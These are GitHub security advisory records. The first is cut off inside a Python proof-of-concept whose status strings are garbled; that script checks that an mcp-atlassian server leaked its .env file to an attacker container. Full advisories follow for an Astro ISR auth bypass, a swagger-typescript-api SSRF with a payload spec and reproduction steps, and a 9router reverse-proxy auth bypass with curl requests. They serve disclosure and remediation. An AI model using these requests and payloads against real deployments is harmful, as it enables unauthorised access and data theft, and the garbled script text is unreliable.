attacker_raw_logs[start:end].strip()[:500]\n\n print()\n if confirmed:\n print(\"[PASS] file leak confirmed \u2014 attacker servertext victim containertext sensitive filetext receivedtext.\")\n print(f\"[PASS] Evidence snippet:\\n{evidence_snippet}\")\n else:\n print(\"[FAIL] file leak evidencetext checktext text.\")\n print(\"attacker_logs:\", attacker_raw_logs[-1000:])\n\n # \u2500\u2500 7. write phase2_result.json \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n phase2 = {\n \"passed\": confirmed,\n \"verdict\": \"PASS\" if confirmed else \"FAIL\",\n \"reason\": (\n \"MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas \"\n \"without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext \"\n \"file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. \"\n \"attachments.py:477 open(file_path,\u0027rb\u0027)text sensitive filetext text multipart PUT requesttext containsdone.\"\n if confirmed else\n \"attacker servertext file receivedtext checktext could not \u2014 logtext referenceand failure cause text required.\"\n ),\n \"build_command\": (\n f\"docker build -t {VICTIM_IMAGE} \"\n f\"-f {DOCKERFILE_PATH} {repo_path}\"\n ),\n \"run_command\": (\n f\"docker network create {NETWORK_NAME} \u0026\u0026 \"\n f\"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} \"\n f\"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c \u0027\u003cattacker_server_src\u003e\u0027 \u0026\u0026 \"\n f\"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} \"\n f\"-p {victim_port}:8000 \"\n f\"-e TRANSPORT=streamable-http \"\n f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n f\"-e READ_ONLY_MODE=false \"\n f\"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0\"\n ),\n \"poc_command\": (\n f\"python3 {os.path.basename(__file__)} \"\n f\"--repo {repo_path} \"\n f\"--victim-port {victim_port} \"\n f\"--attacker-port {attacker_port}\"\n ),\n \"evidence\": evidence_snippet or attacker_raw_logs[-500:],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n\n result_path = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n with open(result_path, \"w\") as f:\n json.dump(phase2, f, indent=2, ensure_ascii=False)\n print(f\"\\n[*] phase2_result.json written: {result_path}\")\n\n finally:\n if not args.no_cleanup:\n print(\"[*] Cleaning up containers and network...\")\n cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n print(\"[*] Cleanup done.\")\n else:\n print(f\"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})\")\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-wv8v-v4c5-v75j",
"modified": "2026-09-22T20:34:45Z",
"published": "2026-09-22T20:34:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path"
}
GHSA-X27W-589X-FRM2
Vulnerability from github – Published: 2026-07-20 23:25 – Updated: 2026-08-17 17:12Summary
When ISR is enabled, the serverless entrypoint lets an unauthenticated request
decide which route the origin renders. The internal _isr function reads the
x_astro_path query parameter and rewrites the request path to it without any
authentication. Edge level access controls only ever see the /_isr path, so
they do not apply to the route that actually gets rendered. This is the same
confused deputy problem as CVE-2026-33768, reachable again through the ISR path.
Impact
This affects apps that use @astrojs/vercel with isr: true and protect routes
at the edge. Two common setups are affected:
- Path rules or firewall deny rules configured on Vercel (for example blocking
/admin). - Split deployments (
edgeMiddleware: true) where authorization lives in Astro middleware, since that middleware runs at the edge and not in the origin.
An attacker reads any GET rendered route by requesting
/_isr?x_astro_path=/the/protected/path. No credentials are required. The
protected content is produced by a fresh origin render, so the attack does not
depend on the response being cached first.
Details
packages/integrations/vercel/src/serverless/entrypoint.ts picks the real path
like this:
if (hasValidMiddlewareSecret) {
realPath = request.headers.get(ASTRO_PATH_HEADER); // secret checked
} else if (request.headers.get('x-vercel-isr') === '1') {
realPath = url.searchParams.get(ASTRO_PATH_PARAM); // no secret checked
}
The header path is gated by the per build secret and is fine. The ISR branch is not. Two facts make it reachable by anyone:
- The
_isrfunction is publicly addressable. - Vercel sets
x-vercel-isr: 1on requests to it, including direct external requests, so the attacker does not even need to send that header.
So GET /_isr?x_astro_path=/admin sets the internal path to /admin and renders
it. The edge saw only /_isr, which is allowed, so any path based rule on
/admin never fires. In split deployments the edge middleware also runs against
/_isr, and the origin does not run middleware at all, so middleware based auth
is skipped as well.
How this regressed
CVE-2026-33768 was fixed in 10.0.2 by commit 335a204161 (PR #15959), which
required the secret for every path override and removed the query parameter
source. Commit aa266364fe (PR #16079, "Fix ISR path rewrite to prevent 404")
brought the query parameter back, guarded only by the x-vercel-isr header. That
header is not a security boundary, so the fix was effectively undone for ISR
routes starting in 10.0.3.
Worth noting the contrast: the original report treated Edge Middleware as the
mitigation and scoped the issue to deployments without it. Here, for split
deployments, Edge Middleware is bypassed too, since the attacker reaches /_isr
directly and the middleware only sees /_isr while the origin runs none.
Proof of concept
- Create an Astro app with
output: 'server'and adaptervercel({ isr: true }). - Add a page at
/adminthat returns sensitive content. - Deny
/adminat the edge, for example a Vercel path rule that returns 403, or a middleware auth check in a split (edgeMiddleware: true) build. - Request
/admin. It is blocked (403). - Request
/_isr?x_astro_path=/admin. It returns 200 with the admin content. The response headerX-Vercel-Cache: MISSconfirms it was rendered fresh, not served from an existing cache entry.
What is not affected
- Classic (non split) middleware. It runs inside the origin against the rewritten path, so it still applies to the target route.
- State changing requests. Vercel serves ISR functions for GET only, and returns 403 for POST, PUT and DELETE, so the method preserving variant of CVE-2026-33768 does not reproduce here. Impact is limited to reading (confidentiality).
- Whole deployment protection (Vercel SSO or password), which also covers
/_isr.
Severity
Unauthenticated read of any GET rendered route that is protected only at the edge. No integrity or availability impact because the vector is GET only.
Suggested fix
One option would be to require the secret again for path overrides, the way
PR #15959 did, so the ISR branch stops trusting the client supplied x_astro_path.
The 404 that PR #16079 was fixing would then need another approach that does not
rely on client input.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@astrojs/vercel"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.3"
},
{
"fixed": "11.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73424"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:25:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nWhen ISR is enabled, the serverless entrypoint lets an unauthenticated request\ndecide which route the origin renders. The internal `_isr` function reads the\n`x_astro_path` query parameter and rewrites the request path to it without any\nauthentication. Edge level access controls only ever see the `/_isr` path, so\nthey do not apply to the route that actually gets rendered. This is the same\nconfused deputy problem as CVE-2026-33768, reachable again through the ISR path.\n\n## Impact\nThis affects apps that use `@astrojs/vercel` with `isr: true` and protect routes\nat the edge. Two common setups are affected:\n\n1. Path rules or firewall deny rules configured on Vercel (for example blocking\n `/admin`).\n2. Split deployments (`edgeMiddleware: true`) where authorization lives in Astro\n middleware, since that middleware runs at the edge and not in the origin.\n\nAn attacker reads any GET rendered route by requesting\n`/_isr?x_astro_path=/the/protected/path`. No credentials are required. The\nprotected content is produced by a fresh origin render, so the attack does not\ndepend on the response being cached first.\n\n## Details\n`packages/integrations/vercel/src/serverless/entrypoint.ts` picks the real path\nlike this:\n\n```js\nif (hasValidMiddlewareSecret) {\n realPath = request.headers.get(ASTRO_PATH_HEADER); // secret checked\n} else if (request.headers.get(\u0027x-vercel-isr\u0027) === \u00271\u0027) {\n realPath = url.searchParams.get(ASTRO_PATH_PARAM); // no secret checked\n}\n```\n\nThe header path is gated by the per build secret and is fine. The ISR branch is\nnot. Two facts make it reachable by anyone:\n\n1. The `_isr` function is publicly addressable.\n2. Vercel sets `x-vercel-isr: 1` on requests to it, including direct external\n requests, so the attacker does not even need to send that header.\n\nSo `GET /_isr?x_astro_path=/admin` sets the internal path to `/admin` and renders\nit. The edge saw only `/_isr`, which is allowed, so any path based rule on\n`/admin` never fires. In split deployments the edge middleware also runs against\n`/_isr`, and the origin does not run middleware at all, so middleware based auth\nis skipped as well.\n\n## How this regressed\nCVE-2026-33768 was fixed in 10.0.2 by commit 335a204161 (PR #15959), which\nrequired the secret for every path override and removed the query parameter\nsource. Commit aa266364fe (PR #16079, \"Fix ISR path rewrite to prevent 404\")\nbrought the query parameter back, guarded only by the `x-vercel-isr` header. That\nheader is not a security boundary, so the fix was effectively undone for ISR\nroutes starting in 10.0.3.\n\nWorth noting the contrast: the original report treated Edge Middleware as the\nmitigation and scoped the issue to deployments without it. Here, for split\ndeployments, Edge Middleware is bypassed too, since the attacker reaches `/_isr`\ndirectly and the middleware only sees `/_isr` while the origin runs none.\n\n## Proof of concept\n1. Create an Astro app with `output: \u0027server\u0027` and adapter\n `vercel({ isr: true })`.\n2. Add a page at `/admin` that returns sensitive content.\n3. Deny `/admin` at the edge, for example a Vercel path rule that returns 403, or\n a middleware auth check in a split (`edgeMiddleware: true`) build.\n4. Request `/admin`. It is blocked (403).\n5. Request `/_isr?x_astro_path=/admin`. It returns 200 with the admin content.\n The response header `X-Vercel-Cache: MISS` confirms it was rendered fresh, not\n served from an existing cache entry.\n\n## What is not affected\n1. Classic (non split) middleware. It runs inside the origin against the rewritten\n path, so it still applies to the target route.\n2. State changing requests. Vercel serves ISR functions for GET only, and returns\n 403 for POST, PUT and DELETE, so the method preserving variant of CVE-2026-33768\n does not reproduce here. Impact is limited to reading (confidentiality).\n3. Whole deployment protection (Vercel SSO or password), which also covers `/_isr`.\n\n## Severity\nUnauthenticated read of any GET rendered route that is protected only at the edge.\nNo integrity or availability impact because the vector is GET only.\n\n## Suggested fix\nOne option would be to require the secret again for path overrides, the way\nPR #15959 did, so the ISR branch stops trusting the client supplied `x_astro_path`.\nThe 404 that PR #16079 was fixing would then need another approach that does not\nrely on client input.",
"id": "GHSA-x27w-589x-frm2",
"modified": "2026-08-17T17:12:10Z",
"published": "2026-07-20T23:25:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-x27w-589x-frm2"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/pull/16079"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/pull/17370"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/3a43cf0f3690a8e33cb30109bc5165611cf38fcd"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/aa266364fe9e105317b66e218fe04567307fb57f"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@11.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro: Unauthenticated path override in the @astrojs/vercel ISR function"
}
GHSA-X36R-4347-PM5X
Vulnerability from github – Published: 2026-07-29 14:28 – Updated: 2026-07-29 14:28Summary
swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.
The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).
Details
SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:
// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
return;
}
const visited = new Set<string>();
const queue = [this.stripHash(this.config.url)];
while (queue.length > 0) {
const currentUrl = queue.shift();
if (!currentUrl || visited.has(currentUrl)) continue;
visited.add(currentUrl);
if (this.externalSchemaCache.has(currentUrl)) continue;
const schema = await this.fetchRemoteSchemaDocument(currentUrl); // <-- HTTP GET
if (!schema) continue;
this.externalSchemaCache.set(currentUrl, schema);
for (const ref of this.extractRefsFromSchema(schema)) {
const normalizedRef = this.normalizeRef(ref);
if (normalizedRef.startsWith("#")) continue;
const [externalPath = ""] = normalizedRef.split("#");
if (!externalPath) continue;
const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
if (absoluteUrl && !visited.has(absoluteUrl)) {
queue.push(absoluteUrl); // <-- recurse
}
}
}
}
The fetch itself:
// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…and the only URL-shape filter:
// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
return /^https?:\/\//i.test(value);
}
There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.
Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "SSRF-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
httpClientType: 'fetch'
}))"
Observed (control vs payload):
[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:<internal-port>
The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.
Impact
Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.
Affected use cases:
- A developer running
sta generate --url https://attacker.example/openapi.jsonagainst an attacker-hosted spec. - A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
- A CI/CD pipeline regenerating clients from a spec on every build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via a pull request.
What an attacker can do with this:
- Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
- Hit cloud-provider instance metadata endpoints (
http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information. - Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
- Combine with the companion finding (Authorization-token forwarding to
$refURLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.
Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Suggested fix:
Defense in depth at three layers, in priority order:
- Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,0.0.0.0/8, and IPv6 equivalents (::1,fc00::/7,fe80::/10,::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding. - Use a custom undici dispatcher with
connecthook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-infetch. - Set
redirect: "manual"in thefetchoptions and validate each redirect URL through the same allowlist before following it.
If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54663"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:28:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` \u2014 there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator\u0027s network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n return;\n }\n const visited = new Set\u003cstring\u003e();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length \u003e 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) continue;\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) continue;\n const schema = await this.fetchRemoteSchemaDocument(currentUrl); // \u003c-- HTTP GET\n if (!schema) continue;\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) continue;\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) continue;\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n queue.push(absoluteUrl); // \u003c-- recurse\n }\n }\n }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node\u0027s built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node\u0027s undici-backed implementation, an external 302 redirect from an attacker\u0027s spec server to an internal URL ALSO succeeds \u2014 even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be an \"internal\" service \u2014 run the generator against each, observe the internal server\u0027s hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n \"paths\": {\n \"/p\": {\n \"get\": {\n \"operationId\": \"p\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n output: \u0027/tmp/out\u0027,\n url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) \u2192 internal-server hits: 0\n[payload] ($ref \u2192 http://127.0.0.1:\u003cinternal-port\u003e/...) \u2192 internal-server hits: 1\n hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator\u0027s `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process \u2014 typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator\u0027s network reachability \u2014 enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs \u2014 filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL\u0027s hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** \u2014 the only reliable way to defeat DNS rebinding in Node\u0027s built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-x36r-4347-pm5x",
"modified": "2026-07-29T14:28:58Z",
"published": "2026-07-29T14:28:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`"
}
GHSA-X5C9-V98J-722R
Vulnerability from github – Published: 2026-09-23 18:12 – Updated: 2026-09-23 18:12Summary
9router treats local loopback requests as trusted and allows access to /v1/* without an
API key. In a documented/common reverse-proxy deployment where nginx forwards public
traffic to the backend via 127.0.0.1, external non-Origin requests are misclassified as
local. This allows unauthenticated access to /v1 APIs such as /v1/models, and may allow
abuse of configured upstream provider credentials depending on the enabled providers.
Details
- Affected version / commit: 9router
v0.4.80@b282f05. - Deployment precondition: a same-host reverse proxy (e.g. nginx) forwarding public
traffic to the backend on
127.0.0.1/localhost. This mirrors the documented cloud deployment (proxy_pass http://localhost:20128withX-Real-IP/X-Forwarded-For). - Observed behaviour:
- The direct backend (
direct-backend, port18081) returns401for/v1/modelswithout an API key. - A direct request that spoofs
X-9r-Real-IP: 127.0.0.1still returns401: the custom server deletes the client-supplied header and overwrites it with the real socket address, so naive header spoofing does not work against the direct backend. - The proxied path (
reverse-proxy, port18080) returns200with the full model catalog for the same/v1/modelsrequest without any API key. - A proxied request that carries an
Originheader returns401. The bypass therefore primarily affects curl / SDK / server-side / non-browser clients, which do not sendOrigin. - Root cause: the backend's local/remote decision relies on perceived socket/loopback
locality after reverse proxying. Because nginx connects to the backend from
127.0.0.1, the backend stamps a loopback client address for every internet client and treats the request as local, skipping the/v1API-key requirement. The forwardedX-Real-IP/X-Forwarded-Forheaders that carry the true client IP are ignored for this decision. - This is not a simple client header-spoofing issue (the direct-spoof control above proves header spoofing is rejected); it is a property of how loopback proxy traffic is trusted.
Proof of Concept
This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
- Build and start the stack:
bash docker compose up --build - Direct baseline (no API key):
bash curl -i http://127.0.0.1:18081/v1/models - Direct spoof control:
bash curl -i -H "X-9r-Real-IP: 127.0.0.1" http://127.0.0.1:18081/v1/models - Reverse-proxy bypass (no API key):
bash curl -i http://127.0.0.1:18080/v1/models - Reverse-proxy
Origincontrol:bash curl -i -H "Origin: http://evil.example" http://127.0.0.1:18080/v1/models
Expected evidence
| Request | Result |
|---|---|
Direct 18081, no key |
401 Unauthorized ({"error":"API key required for remote API access"}) |
Direct 18081, X-9r-Real-IP: 127.0.0.1 spoof |
401 Unauthorized |
Proxied 18080, no key |
200 OK with the full model catalog |
Proxied 18080, with Origin |
401 Unauthorized |
Impact
- Unauthenticated access to the
/v1API surface in the affected reverse-proxy deployment. - Model enumeration via
/v1/models. - Possible abuse of the operator's configured upstream provider credentials through
